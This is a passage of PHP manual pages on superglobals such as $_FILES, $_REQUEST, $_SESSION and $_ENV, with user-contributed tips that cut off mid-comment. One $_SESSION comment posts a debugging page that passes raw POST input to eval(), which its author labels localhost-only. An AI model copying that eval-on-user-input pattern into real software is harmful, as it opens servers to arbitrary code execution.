            $files = (is_array($_FILES)) ? $_FILES : array();
        }

        //make there there is a file, and see if the first item is also an array
        $new_files = array();
        foreach ($files as $name => $attributes) {
            if (is_array(reset($attributes))) { //check first item
                foreach ($attributes as $attribute => $item) { //array file submit, eg name="model[file]"
                    foreach ($item as $key => $value) {
                        if (is_array($value)) {
                            foreach ($value as $key2 => $sub_val) { // multi-array file submit, eg name="model[file][]"
                                $new_files[$name][$key][$key2][$attribute] = $sub_val;
                            }
                        } else {
                            $new_files[$name][$key][$attribute] = $value;
                        }
                    }
                }
            } else { // regular file submit, eg name="file"
                $new_files[$name] = $attributes;
            }
        }

        return $new_files;
    }

//Usage:

$files = multi_file_fix($_FILES);

?>
sergio_ag at terra dot com dot br 06-Sep-2012 05:09
A nice trick to reorder the $_FILES array when you use a input name as array is:

<?php
function diverse_array($vector) {
    $result = array();
    foreach($vector as $key1 => $value1)
        foreach($value1 as $key2 => $value2)
            $result[$key2][$key1] = $value2;
    return $result;
}
?>

will transform this:

array(1) {
    ["upload"]=>array(2) {
        ["name"]=>array(2) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
        }
        ["type"]=>array(2) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/html"
        }
    }
}

into:

array(1) {
    ["upload"]=>array(2) {
        [0]=>array(2) {
            ["name"]=>string(9)"file0.txt"
            ["type"]=>string(10)"text/plain"
        },
        [1]=>array(2) {
            ["name"]=>string(9)"file1.txt"
            ["type"]=>string(10)"text/html"
        }
    }
}

just do:

<?php $upload = diverse_array($_FILES["upload"]); ?>
sparticvs at popebp dot com 02-Sep-2012 05:59
A note of security: Don't ever trust $_FILES["image"]["type"]. It takes whatever is sent from the browser, so don't trust this for the image type.  I recommend using finfo_open (http://www.php.net/manual/en/function.finfo-open.php) to verify the MIME type of a file. It will parse the MAGIC in the file and return it's type...this can be trusted (you can also use the "file" program on Unix, but I would refrain from ever making a System call with your PHP code...that's just asking for problems).
tjbp 05-Aug-2012 06:46
For quick debugging (eg. var_dump($_FILES);), these are the values of the error constants. Obviously don't use these for comparison in real code.

UPLOAD_ERR_OK: 0
UPLOAD_ERR_INI_SIZE: 1
UPLOAD_ERR_FORM_SIZE: 2
UPLOAD_ERR_NO_TMP_DIR: 6
UPLOAD_ERR_CANT_WRITE: 7
UPLOAD_ERR_EXTENSION: 8
UPLOAD_ERR_PARTIAL: 3
seifert at alesak dot net 02-Jul-2012 11:02
I just spent long time debugging strange behavior of one of our application on new webhosting. We have 30 file inputs on one page for upload to server. Problem was that only 20 was actually uploaded.

Now I found there is an option max_file_uploads in php.ini limiting maximum size of $_FILES to 20 by default.

When you have suhosin extension installed it has own option limiting same thing to 25 (suhosin.upload.max_uploads in php.ini)
Alexandre Teles 20-May-2012 01:31
You can check error index this way:

<?php

$errorIndex = $_FILES["file"]["error"];

if ($errorIndex > 0) {
    die('We have a error. Try Again.');
}

processFile();

?>
yuriy dot nayda at gmail dot com 16-Mar-2012 01:49
THis is an solution to convert Cyrillic and umlaut characters as file name when uplaoding files into needed encoding. Was searching for it but could not find. Thus posting this. Just like this:

$value = mb_convert_encoding($value, "UTF-8");
BigShark666 at gmail dot com 22-Nov-2011 07:51
Nontypicall array comes in php after the submission.I wrote a small function to restate it to the familiar look.
<?php
function multiple(array $_files, $top = TRUE)
{
    $files = array();
    foreach($_files as $name=>$file){
        if($top) $sub_name = $file['name'];
        else    $sub_name = $name;

        if(is_array($sub_name)){
            foreach(array_keys($sub_name) as $key){
                $files[$name][$key] = array(
                    'name'     => $file['name'][$key],
                    'type'     => $file['type'][$key],
                    'tmp_name' => $file['tmp_name'][$key],
                    'error'    => $file['error'][$key],
                    'size'     => $file['size'][$key],
                );
                $files[$name] = multiple($files[$name], FALSE);
            }
        }else{
            $files[$name] = $file;
        }
    }
    return $files;
}

print_r($_FILES);
/*
Array
(
    [image] => Array
        (
            [name] => Array
                (
                    [0] => 400.png
                )
            [type] => Array
                (
                    [0] => image/png
                )
            [tmp_name] => Array
                (
                    [0] => /tmp/php5Wx0aJ
                )
            [error] => Array
                (
                    [0] => 0
                )
            [size] => Array
                (
                    [0] => 15726
                )
        )
)
*/
$files = multiple($_FILES);
print_r($files);
/*
Array
(
    [image] => Array
        (
            [0] => Array
                (
                    [name] => 400.png
                    [type] => image/png
                    [tmp_name] => /tmp/php5Wx0aJ
                    [error] => 0
                    [size] => 15726
                )
        )
)
*/
?>
kbolyshev at gmail dot com 18-Nov-2011 01:39
For situation download[file1], download[file2], ..., download[fileN], try it:

<?php

/**
 *
 * @param array     $arrayForFill
 * @param string    $currentKey
 * @param mixed     $currentMixedValue
 * @param string    $fileDescriptionParam (name, type, tmp_name, error или size)
 * @return void
 */
function rRestructuringFilesArray(&$arrayForFill, $currentKey, $currentMixedValue, $fileDescriptionParam)
{
    if (is_array($currentMixedValue)) {
        foreach ($currentMixedValue as $nameKey => $mixedValue) {
            rRestructuringFilesArray($arrayForFill[$currentKey],
                                     $nameKey,
                                     $mixedValue,
                                     $fileDescriptionParam);
        }
    } else {
        $arrayForFill[$currentKey][$fileDescriptionParam] = $currentMixedValue;
    }
}

$arrayForFill = array();
foreach ($_FILES as $firstNameKey => $arFileDescriptions) {
    foreach ($arFileDescriptions as $fileDescriptionParam => $mixedValue) {
        rRestructuringFilesArray($arrayForFill,
                                 $firstNameKey,
                                 $_FILES[$firstNameKey][$fileDescriptionParam],
                                 $fileDescriptionParam);
    }
}
$_FILES = $arrayForFill;
?>
unca dot alby at gmail dot com 02-Sep-2011 10:31
In checking the error code, you probably ought to check for code 4.  I believe Code 4 means no file was uploaded, and there are many instances where that's perfectly OK.

Such as when you have a form with multiple data items, including file and image uploads, plus whatever else.  The user might not be adding a new upload for whatever reason, such as there may already be a file in the system from an earlier update, and the user is satisfied with that.
Sbastien 13-Jun-2011 04:36
If you're uploading multiple files and you name your file inputs "upload[]" the $_FILES array will look different than the var_dump posted below. I figured I'd post what it looks like since it caused me (and still causes me) headaches!

array(1) {
    ["upload"]=>array(5) {
        ["name"]=>array(3) {
            [0]=>string(9)"file0.txt"
            [1]=>string(9)"file1.txt"
            [2]=>string(9)"file2.txt"
        }
        ["type"]=>array(3) {
            [0]=>string(10)"text/plain"
            [1]=>string(10)"text/plain"
            [2]=>string(10)"text/plain"
        }
        ["tmp_name"]=>array(3) {
            [0]=>string(14)"/tmp/blablabla"
            [1]=>string(14)"/tmp/phpyzZxta"
            [2]=>string(14)"/tmp/phpn3nopO"
        }
        ["error"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
        ["size"]=>array(3) {
            [0]=>int(0)
            [1]=>int(0)
            [2]=>int(0)
        }
    }
}

(I thought the array would have looked like upload[index][name] which is not the case.)
Anonymous 26-Apr-2011 11:48
Having url rewrite patterns in .htaccess file which modify your urls can affect $_FILES sometimes. Even though the php page loads and works fine, this variable may not work because of it. Therefore if you rewrite 'www.example.com' to 'example.com', make sure you use the latter one when sending POST to the php page. I'm still not sure why this happens, but its worth noting here so others don't spend time chasing ghosts.
Anonymous 18-Apr-2011 03:23
As mentioned , you should check the error index of the upload.

Example below suggests you have a file field named 'image'.

<?php

        if($_FILES['image']['error'] == 0){
            // success - move uploaded file and process stuff here

        }else{
            // 'there was an error uploading file' stuff here....
        }
?>
John 04-Feb-2011 03:14
In the past you could unconditionally call $_FILES['profile_pic'] without ever having to worry about PHP spitting an "Undefined index: profile_pic" error (so long as the page posting had a file input on it (e.g. <input type="file" name="profile_pic" />)). This was the case regardless of whether or not the end user actually uploaded a file. These days, with so many people browsing the web via iPads, you have to explicitly check to see if the input isset($_FILES['profile_pic']) before calling into it, else you'll get the aforementioned error message. This is because iOS devices running Safari disable file inputs thereby causing them to be treated as if they don't exist. Time to update your scripts!

-john
mwgamera at gmail dot com 13-Aug-2009 02:40
To determine whether upload was successful you should check for error being UPLOAD_ERR_OK instead of checking the file size. When nothing is chosen to be uploaded, the key in $_FILES will still be there, but it should have error equal UPLOAD_ERR_NO_FILE.
calurion at gmail dot com 30-Jun-2009 01:51
For some reason when I tried to check if $_FILES['myVarName'] was empty() or !isset() or array_key_exists(), it always came back that the file was indeed in the superglobal, even when nothing was uploaded.

I wonder if this is a result of enctype="multipart/form-data".

Anyways, I solved my issue by checking to make sure that $_FILES['myVarName']['size'] > 0
Sam 22-May-2009 04:08
This is REQUIRED by the xhtml specs.
dewi at dewimorgan dot com 18-Mar-2009 07:35
The format of this array is (assuming your form has two input type=file fields named "file1", "file2", etc):

Array
(
    [file1] => Array
        (
            [name] => MyFile.txt (comes from the browser, so treat as tainted)
            [type] => text/plain  (not sure where it gets this from - assume the browser, so treat as tainted)
            [tmp_name] => /tmp/php/php1h4j1o (could be anywhere on your system, depending on your config settings, but the user has no control, so this isn't tainted)
            [error] => UPLOAD_ERR_OK  (= 0)
            [size] => 123   (the size in bytes)
        )

    [file2] => Array
        (
            [name] => MyFile.jpg
            [type] => image/jpeg
            [tmp_name] => /tmp/php/php6hst32
            [error] => UPLOAD_ERR_OK
            [size] => 98174
        )
)

Last I checked (a while ago now admittedly), if you use array parameters in your forms (that is, form names ending in square brackets, like several file fields called "download[file1]", "download[file2]" etc), then the array format becomes... interesting.

Array
(
    [download] => Array
        (
            [name] => Array
                (
                    [file1] => MyFile.txt
                    [file2] => MyFile.jpg
                )

            [type] => Array
                (
                    [file1] => text/plain
                    [file2] => image/jpeg
                )

            [tmp_name] => Array
                (
                    [file1] => /tmp/php/php1h4j1o
                    [file2] => /tmp/php/php6hst32
                )

            [error] => Array
                (
                    [file1] => UPLOAD_ERR_OK
                    [file2] => UPLOAD_ERR_OK
                )

            [size] => Array
                (
                    [file1] => 123
                    [file2] => 98174
                )
        )
)

So you'd need to access the error param of file1 as, eg $_Files['download']['error']['file1']
andrewpunch at bigfoot dot com 17-Jan-2009 09:16
If $_FILES is empty, even when uploading, try adding enctype="multipart/form-data" to the form tag and make sure you have file uploads turned on.


HTTP Request variables

  • « $_FILES
  • $_SESSION »
  • PHP Manual
  • Predefined Variables
  • HTTP Request variables

$_REQUEST

(PHP 4 >= 4.1.0, PHP 5)

$_REQUEST — HTTP Request variables

Description

An associative array that by default contains the contents of $_GET, $_POST and $_COOKIE.

Changelog

Version | Description
5.3.0 | Introduced request_order. This directive affects the contents of $_REQUEST.
4.3.0 | $_FILES information was removed from $_REQUEST.
4.1.0 | Introduced $_REQUEST.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

Note:

When running on the command line , this will not include the argv and argc entries; these are present in the $_SERVER array.

Note:

The variables in $_REQUEST are provided to the script via the GET, POST, and COOKIE input mechanisms and therefore could be modified by the remote user and cannot be trusted. The presence and order of variables listed in this array is defined according to the PHP variables_order configuration directive.

See Also

  • import_request_variables() - Import GET/POST/Cookie variables into the global scope
  • Handling external variables
  • The filter extension

User Contributed Notes

mike o. 12-Mar-2010 01:31
The default php.ini on your system as of in PHP 5.3.0 may exclude cookies from $_REQUEST.  The request_order ini directive specifies what goes in the $_REQUEST array; if that does not exist, then the variables_order directive does.  Your distribution's php.ini may exclude cookies by default, so beware.
John Galt 07-Dec-2009 02:36
I wrote a function because I found it inconvenient if I needed to change a particular parameter (get) while preserving the others. For example, I want to make a hyperlink on a web page with the URL http://www.example.com/script.php?id=1&blah=blah+blah&page=1 and change the value of "page" to 2 without getting rid of the other parameters.

<?php
 function add_or_change_parameter($parameter, $value)
 {
  $params = array();
  $output = "?";
  $firstRun = true;
  foreach($_GET as $key=>$val)
  {
   if($key != $parameter)
   {
    if(!$firstRun)
    {
     $output .= "&";
    }
    else
    {
     $firstRun = false;
    }
    $output .= $key."=".urlencode($val);
   }
  }
  if(!$firstRun)
   $output .= "&";
  $output .= $parameter."=".urlencode($value);
  return htmlentities($output);
 }
?>

Now, I can add a hyperlink to the page (http://www.example.com/script.php?id=1&blah=blah+blah&page=1) like this:
<a href="<?php echo add_or_change_parameter("page", "2"); ?>">Click to go to page 2</a>

The above code will output
<a href="?id=1&amp;blah=blah+blah&amp;page=2">Click to go to page 2</a>

Also, if I was setting "page" to a string rather than just "2", the value would be urlencode()'d.
<a href="<?php echo add_or_change_parameter("page", "banana+split!"); ?>">Click to go to page banana split!</a>
would become
<a href="?id=1&amp;blah=blah+blah&amp;page=banana+split%21">Click to go to page banana split!</a>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (theogony AT gmail DOT com), which adds missing `echo` instructions to the HREF tags.]
strata_ranger at hotmail dot com 17-Jul-2008 05:04
Don't forget, because $_REQUEST is a different variable than $_GET and $_POST, it is treated as such in PHP -- modifying $_GET or $_POST elements at runtime will not affect the ellements in $_REQUEST, nor vice versa.

e.g:

<?php

$_GET['foo'] = 'a';
$_POST['bar'] = 'b';
var_dump($_GET); // Element 'foo' is string(1) "a"
var_dump($_POST); // Element 'bar' is string(1) "b"
var_dump($_REQUEST); // Does not contain elements 'foo' or 'bar'

?>

If you want to evaluate $_GET and $_POST variables by a single token without including $_COOKIE in the mix, use  $_SERVER['REQUEST_METHOD'] to identify the method used and set up a switch block accordingly, e.g:

<?php

switch($_SERVER['REQUEST_METHOD'])
{
case 'GET': $the_request = &$_GET; break;
case 'POST': $the_request = &$_POST; break;
.
. // Etc.
.
default:
}
?>


Session variables

  • « $_REQUEST
  • $_ENV »
  • PHP Manual
  • Predefined Variables
  • Session variables

$_SESSION

$HTTP_SESSION_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_SESSION -- $HTTP_SESSION_VARS [deprecated] — Session variables

Description

An associative array containing session variables available to the current script. See the Session functions documentation for more information on how this is used.

$HTTP_SESSION_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_SESSION_VARS and $_SESSION are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_SESSION that deprecated $HTTP_SESSION_VARS.

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • session_start() - Start new or resume existing session

User Contributed Notes

Fred 07-Sep-2013 12:09
Regarding array keys, from http://php.net/manual/en/language.types.array.php, "Strings containing valid integers will be cast to the integer type".

The manual on $_SESSION says "An associative array". So an associative array is expected literally...? It does no one any good if this bit of important info about accessing and storing session data remains buried in manual comments.

Session variables with a single number will not work, however "1a" will work, as will "a1" and even a just single letter, for example "a" will also work.

(Invalid)
1st page

<?php
session_start();
$_SESSION["1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["1"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a"];
?>

---------------------------------------------------------------

(Valid)
1st page

<?php
session_start();
$_SESSION["a1"] = "LOGGED";
?>

2nd page

<?php
session_start();
echo $_SESSION["a1"];
?>

---------------------------------------------------------------

Example from PHP.net manual on Session variables

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][2] = 'cake'; // works
?>

Source: http://php.net/manual/en/language.types.array.php
opajaap at opajaap dot nl 31-Aug-2013 08:51
Be carefull with $_SESSION array elements when you have the same name as a normal global.

The following example leads to unpredictable behaviour of the $wppa array elements, some are updated by normal code, some not, it is totally unpredictable what happens.

<?php
global $wppa;
$wppa = array( 'elm1' => 'value1', 'elm2' => 'value2', ....etc...);

if ( ! session_id() ) @ session_start();
if ( ! isset($_SESSION['wppa']) $_SESSION['wppa'] = array();

if ( ! isset($_SESSION['wppa']['album']) ) $_SESSION['wppa']['album'] = array();
$_SESSION['wppa']['album'][1234] = 1;

$wppa['elm1'] = 'newvalue1';

print_r($_SESSION);
?>
This will most likely display Array ( [wppa] => Array ( [album] => Array ( [1234] => 1 ) [elm1] => 'newvalue1' [elm2] => 'value2' ... etc ...
But setting $wppa['elm1'] to another value or referring to it gives unpredictable results, maybe 'value1', or 'newvalue1'.

The most strange behaviour is that not all elements of $wppa[xx] show up as $_SESSION['wppa'][xx].
Miller 13-Aug-2013 05:48
I wrote a little page for controlling/manipulating the session. Obviously, never use this on a production server, but I use it on my localhost to assist me in checking and changing session values on the fly.

Again, it makes use of eval() and exposes the session, so never use this on a web server.

<?php
error_reporting(E_ALL);
session_start();
if (isset($_POST['session'])) {
    $session = eval("return {$_POST['session']};");
    if (is_array($session)) {
        $_SESSION = $session;
        header("Location: {$_SERVER['PHP_SELF']}?saved");
    }
    else {
        header("Location: {$_SERVER['PHP_SELF']}?error");
    }
}

$session = htmlentities(var_export($_SESSION, true));
?>
<!DOCTYPE html>
<html lang="en-US">
    <head>
        <meta charset="UTF-8">
        <title>Session Variable Management</title>
        <style>
            textarea { font: 12px Consolas, Monaco, monospace; padding: 2px; border: 1px solid #444444; width: 99%; }
            .saved, .error { border: 1px solid #509151; background: #DDF0DD; padding: 2px; }
            .error { border-color: #915050; background: #F0DDDD; }
        </style>
    </head>
    <body>
        <h1>Session Variable Management</h1>
<?php if (isset($_GET['saved'])) { ?>
        <p class="saved">The session was saved successfully.</p>
<?php } else if (isset($_GET['error'])) { ?>
        <p class="error">The session variable did not parse correctly.</p>
<?php } ?>
        <form method="post">
            <textarea name="session" rows="<?php echo count(preg_split("/\n|\r/", $session)); ?>"><?php echo $session; ?></textarea>
            <input type="submit" value="Update Session">
        </form>
    </body>
</html>
pike-php at kw dot nl 07-Feb-2011 03:00
When accidently assigning a unset variable to $_SESSION, like

   $_SESSION['foo'] = $bar

while $bar was not defined, I got the following error message:

"Warning: Unknown(): Your script possibly relies on a session side-effect which existed until PHP 4.2.3. Please be advised that the session extension does not consider global variables as a source of data, unless register_globals is enabled. "

The errormessage was quite unrelated and got me off-track. The real error was, $bar was not defined.
Dave 17-Nov-2009 11:05
If you deploy php code and cannot control whether register_globals is off, place this snippet in your code to prevent session injections:

<?php
if (isset($_REQUEST['_SESSION'])) die("Get lost Muppet!");
?>
charlese at cvs dot com dot au 05-Jul-2009 03:47
I was having troubles with session variables working in some environments and being seriously flaky in others. I was using $_SESSION as an array. It works properly when I used $_SESSION as pointers to arrays. As an example the following code works in some environments and not others.

<?php
//Trouble if I treate $form_convert and $_SESSION['form_convert'] as unrelated items
$form_convert=array();
if (isset($_SESSION['form_convert'])){
        $form_convert=$_SESSION['form_convert'];
    }
}
?>
The following works well.
<?php
if (isset($_SESSION['form_convert'])){
    $form_convert = $_SESSION['form_convert'];
}else{
    $form_convert = array();
    $_SESSION['form_convert']=$form_convert;
}
?>
bohwaz 31-Aug-2008 11:43
Please note that if you have register_globals to On, global variables associated to $_SESSION variables are references, so this may lead to some weird situations.

<?php

session_start();

$_SESSION['test'] = 42;
$test = 43;
echo $_SESSION['test'];

?>

Load the page, OK it displays 42, reload the page... it displays 43.

The solution is to do this after each time you do a session_start() :

<?php

if (ini_get('register_globals'))
{
    foreach ($_SESSION as $key=>$value)
    {
        if (isset($GLOBALS[$key]))
            unset($GLOBALS[$key]);
    }
}

?>
Steve Clay 17-Aug-2008 03:28
Unlike a real PHP array, $_SESSION keys at the root level must be valid variable names.

<?php
$_SESSION[1][1] = 'cake'; // fails

$_SESSION['v1'][1] = 'cake'; // works
?>

I imagine this is an internal limitation having to do with the legacy function session_register(), where the registered global var must similarly have a valid name.
jherry at netcourrier dot com 02-Aug-2008 01:16
You may have trouble if you use '|' in the key:

$_SESSION["foo|bar"] = "fuzzy";

This does not work for me. I think it's because the serialisation of session object is using this char so the server reset your session when it cannot read it.

To make it work I replaced '|' by '_'.


Environment variables

  • « $_SESSION
  • $_COOKIE »
  • PHP Manual
  • Predefined Variables
  • Environment variables

$_ENV

$HTTP_ENV_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_ENV -- $HTTP_ENV_VARS [deprecated] — Environment variables

Description

An associative array of variables passed to the current script via the environment method.

These variables are imported into PHP's global namespace from the environment under which the PHP parser is running. Many are provided by the shell under which PHP is running and different systems are likely running different kinds of shells, a definitive list is impossible. Please see your shell's documentation for a list of defined environment variables.

Other environment variables include the CGI variables, placed there regardless of whether PHP is running as a server module or CGI processor.

$HTTP_ENV_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_ENV_VARS and $_ENV are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_ENV that deprecated $HTTP_ENV_VARS.

Examples

Example #1 $_ENV example

<?php
echo 'My username is ' .$_ENV["USER"] . '!';
?>

Assuming "bjori" executes this script

The above example will output something similar to:

My username is bjori!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • getenv() - Gets the value of an environment variable
  • The filter extension

User Contributed Notes

aasasdasdf at yandex dot ru 08-Apr-2014 11:25
Please note that writing to $_ENV does not actually set an environment variable, i.e. the variable will not propagate to any child processes you launch (except forked script processes, in which case it's just a variable in the script's memory). To set real environment variables, you must use putenv().

Basically, setting a variable in $_ENV does not have any meaning besides setting or overriding a script-wide global variable. Thus, one should never modify $_ENV except for testing purposes (and then be careful to use putenv() too, if appropriate).

PHP  will not trigger any kind of error or notice when writing to $_ENV.
david at davidfavor dot com 07-Feb-2012 11:07
Comments for this page seem to indicate getenv() returns environment variables in all cases.

For getenv() to work, php.ini variables_order must contain 'E'.
anonymous 09-Sep-2010 07:36
If $_ENV is empty because variables_order does not include it, it will be filled with values fetched by getenv().

For example, when calling getenv("REMOTE_ADDR"), $_ENV['REMOTE_ADDR'] will be defined as well (if such an environment variable exists).
gabe-php at mudbugmedia dot com 26-May-2010 06:11
If your $_ENV array is mysteriously empty, but you still see the variables when calling getenv() or in your phpinfo(), check your http://us.php.net/manual/en/ini.core.php#ini.variables-order ini setting to ensure it includes "E" in the string.
php at isnoop dot net 01-Apr-2010 06:33
If you wish to define an environment variable in your Apache vhost file, use the directive SetEnv.

SetEnv varname "variable value"

It is important to note that this new variable will appear in $_SERVER, not $_ENV.
ewilde aht bsmdevelopment dawt com 20-Mar-2009 02:48
When running a PHP program under the command line, the $_SERVER["SERVER_NAME"] variable does not contain the hostname. However, the following works for me under Unix/Linux and Windows:

<?php
if (isset($_ENV["HOSTNAME"]))
    $MachineName = $_ENV["HOSTNAME"];
else if  (isset($_ENV["COMPUTERNAME"]))
    $MachineName = $_ENV["COMPUTERNAME"];
else $MachineName = "";
?>


HTTP Cookies

  • « $_ENV
  • $php_errormsg »
  • PHP Manual
  • Predefined Variables
  • HTTP Cookies

$_COOKIE

$HTTP_COOKIE_VARS [deprecated]

(PHP 4 >= 4.1.0, PHP 5)

$_COOKIE -- $HTTP_COOKIE_VARS [deprecated] — HTTP Cookies

Description

An associative array of variables passed to the current script via HTTP Cookies.

$HTTP_COOKIE_VARS contains the same initial information, but is not a superglobal. (Note that $HTTP_COOKIE_VARS and $_COOKIE are different variables and that PHP handles them as such)

Changelog

Version | Description
4.1.0 | Introduced $_COOKIE that deprecated $HTTP_COOKIE_VARS.

Examples

Example #1 $_COOKIE example

<?php
echo 'Hello ' . htmlspecialchars($_COOKIE["name"]) . '!';
?>

Assuming the "name" cookie has been set earlier

The above example will output something similar to:

Hello Hannes!

Notes

Note:

This is a 'superglobal', or automatic global, variable. This simply means that it is available in all scopes throughout a script. There is no need to do global $variable; to access it within functions or methods.

See Also

  • setcookie() - Send a cookie
  • Handling external variables
  • The filter extension

User Contributed Notes

Chris Watson 30-Sep-2009 02:18
The value of $_COOKIE is determined by the content of cookies received in the user agent's request.

If you set a cookie (ie send it to the browser), it won't be sent back until the next request and so the data won't be present in $_COOKIE.


The previous error message

  • « $_COOKIE
  • $HTTP_RAW_POST_DATA »
  • PHP Manual
  • Predefined Variables
  • The previous error message

$php_errormsg

(PHP 4, PHP 5)

$php_errormsg — The previous error message

Description

$php_errormsg is a variable containing the text of the last error message generated by PHP. This variable will only be available within the scope in which the error occurred, and only if the track_errors configuration option is turned on (it defaults to off).

Warning

If a user defined error handler (set_error_handler()) is set $php_errormsg is only set if the error handler returns FALSE.

Examples

Example #1 $php_errormsg example

<?php
@strpos();
echo $php_errormsg;
?>

The above example will output something similar to:

Wrong parameter count for strpos()

User Contributed Notes

quickshiftin at gmail dot com 08-Jan-2013 06:19
While $php_errormsg is a global, it is not a superglobal.

You'll have to qualify it with a global keyword inside a function.

<?php
function checkErrormsg()
{
    global $php_errormsg;
    @strpos();
    return $php_errormsg;
}
?>
josh at karmabunny dot com dot au 04-Jul-2011 09:41
The track_errors parameter is PHP_INI_ALL, so you can use code like this:

<?php
ini_set('track_errors', 1);

$result = @do_risky_thing();
if (! $result) {
    echo '<p>Error' . htmlspecialchars($php_errormsg) . '</p>';
}

ini_set('track_errors', 0);
?>
ryan kulla 19-Jan-2009 08:32
Note: This variable doesn't seem to get populated if you're running Xdebug.


Raw POST data

  • « $php_errormsg
  • $http_response_header »
  • PHP Manual
  • Predefined Variables
  • Raw POST data

$HTTP_RAW_POST_DATA

(PHP 4, PHP 5)

$HTTP_RAW_POST_DATA — Raw POST data

Description

Warning

This feature has been DEPRECATED as of PHP 5.6.0. Relying on this feature is highly discouraged.

$HTTP_RAW_POST_DATA contains the raw POST data. See always_populate_raw_post_data.

In general, php://input should be used instead of $HTTP_RAW_POST_DATA.

User Contributed Notes

Ricardo Martins 25-Apr-2013 07:13
what is exaclty raw POST data?

Answer:

$_POST can be said as and outcome after splitting the $HTTP_RAW_POST_DATA, php splits the raw post data and formats in the way we see it in the $_POST For example:

    $HTTP_RAW_POST_DATA looks something like this

key1=value1&key2=value2

    then $_POST would look like this:

$_POST = array(
    "key1" => "value1",
    "key2" => "value2",);
Ray dot Paseur at GMail dot com 13-Nov-2009 12:33
To get the Raw Post Data:

<?php $postdata = file_get_contents("php://input"); ?>

Please see the notes here:
http://us.php.net/manual/en/wrappers.php.php


HTTP response headers

  • « $HTTP_RAW_POST_DATA
  • $argc »
  • PHP Manual
  • Predefined Variables
  • HTTP response headers

$http_response_header

(PHP 4 >= 4.0.4, PHP 5)

$http_response_header — HTTP response headers

Description

The $http_response_header array is similar to the get_headers() function. When using the HTTP wrapper, $http_response_header will be populated with the HTTP response headers. $http_response_header will be created in the local scope.

Examples

Example #1 $http_response_header example

<?php
function get_contents() {
  file_get_contents("http://example.com");
  var_dump($http_response_header);
}
get_contents();
var_dump($http_response_header);
?>

The above example will output something similar to:

array(9) {
  [0]=>
  string(15) "HTTP/1.1 200 OK"
  [1]=>
  string(35) "Date: Sat, 12 Apr 2008 17:30:38 GMT"
  [2]=>
  string(29) "Server: Apache/2.2.3 (CentOS)"
  [3]=>
  string(44) "Last-Modified: Tue, 15 Nov 2005 13:24:10 GMT"
  [4]=>
  string(27) "ETag: "280100-1b6-80bfd280""
  [5]=>
  string(20) "Accept-Ranges: bytes"
  [6]=>
  string(19) "Content-Length: 438"
  [7]=>
  string(17) "Connection: close"
  [8]=>
  string(38) "Content-Type: text/html; charset=UTF-8"
}
NULL

User Contributed Notes

nicolas at toniazzi dot net 01-Oct-2013 10:42
Note that the HTTP wrapper has a hard limit of 1024 characters for the header lines.
Any HTTP header received that is longer than this will be ignored and won't appear in $http_response_header.

The cURL extension doesn't have this limit.

http_fopen_wrapper.c: #define HTTP_HEADER_BLOCK_SIZE 1024


The number of arguments passed to script

  • « $http_response_header
  • $argv »
  • PHP Manual
  • Predefined Variables
  • The number of arguments passed to script

$argc

(PHP 4, PHP 5)

$argc — The number of arguments passed to script

Description

Contains the number of arguments passed to the current script when running from the command line.

Note: The script's filename is always passed as an argument to the script, therefore the minimum value of $argc is 1.

Note: This variable is not available when register_argc_argv is disabled.

Examples

Example #1 $argc example

<?php
var_dump($argc);
?>

When executing the example with: php script.php arg1 arg2 arg3

The above example will output something similar to:

int(4)

User Contributed Notes

elm at r3m0ve dot gmx dot ch 04-Apr-2014 01:57
To decide whether my script is run from CLI I simply create a PHP script that handles only CLI invocations.

File cron.php:
<?php

// Set environment variables your application depends on
$_SERVER[ 'HTTP_HOST' ] = 'domain.tld';
// $_SERVER[ 'REQUEST_URI' ] = '/some/URI/if/needed';

// Use the environment to read out required values
$task = $_SERVER[ 'argv' ][ 1 ];

// Instanciate the dispatcher or whatever you use
$dispatcher = new Dispatcher();
$dispatcher->handle( $task );

?>

This way my application doesn't have to know about CLI at all.
hvuaka at gmail dot com 04-Jan-2014 11:19
You can use php_sapi_name() to check whether it is cli or not
Tejesember 04-May-2011 06:50
To find out are you in CLI or not, this is much better in my opinion:
<?php
if (PHP_SAPI != "cli") {
    exit;
}
?>
anonymous 21-Oct-2010 11:26
I use the following lines to check if i'm using CLI mode or not :

<?php
$cli_mode = false;
if ( isset($_SERVER['argc']) && $_SERVER['argc']>=1 ) {
  $cli_mode = true;
}
?>
karsten at typo3 dot org 18-Feb-2009 09:47
Note: when using CLI $argc (as well as $argv) are always available, regardless of register_argc_argv, as explained at http://docs.php.net/manual/en/features.commandline.php


Array of arguments passed to script

  • « $argc
  • Predefined Exceptions »
  • PHP Manual
  • Predefined Variables
  • Array of arguments passed to script

$argv

(PHP 4, PHP 5)

$argv — Array of arguments passed to script

Description

Contains an array of all the arguments passed to the script when running from the command line.

Note: The first argument $argv[0] is always the name that was used to run the script.

Note: This variable is not available when register_argc_argv is disabled.

Examples

Example #1 $argv example

<?php
var_dump($argv);
?>

When executing the example with: php script.php arg1 arg2 arg3

The above example will output something similar to:

array(4) {
  [0]=>
  string(10) "script.php"
  [1]=>
  string(4) "arg1"
  [2]=>
  string(4) "arg2"
  [3]=>
  string(4) "arg3"
}

See Also

  • getopt() - Gets options from the command line argument list

User Contributed Notes

hamboy75 at example dot com 06-Nov-2013 12:20
To use $_GET so you dont need to support both if it could be used from command line and from web browser.

foreach ($argv as $arg) {
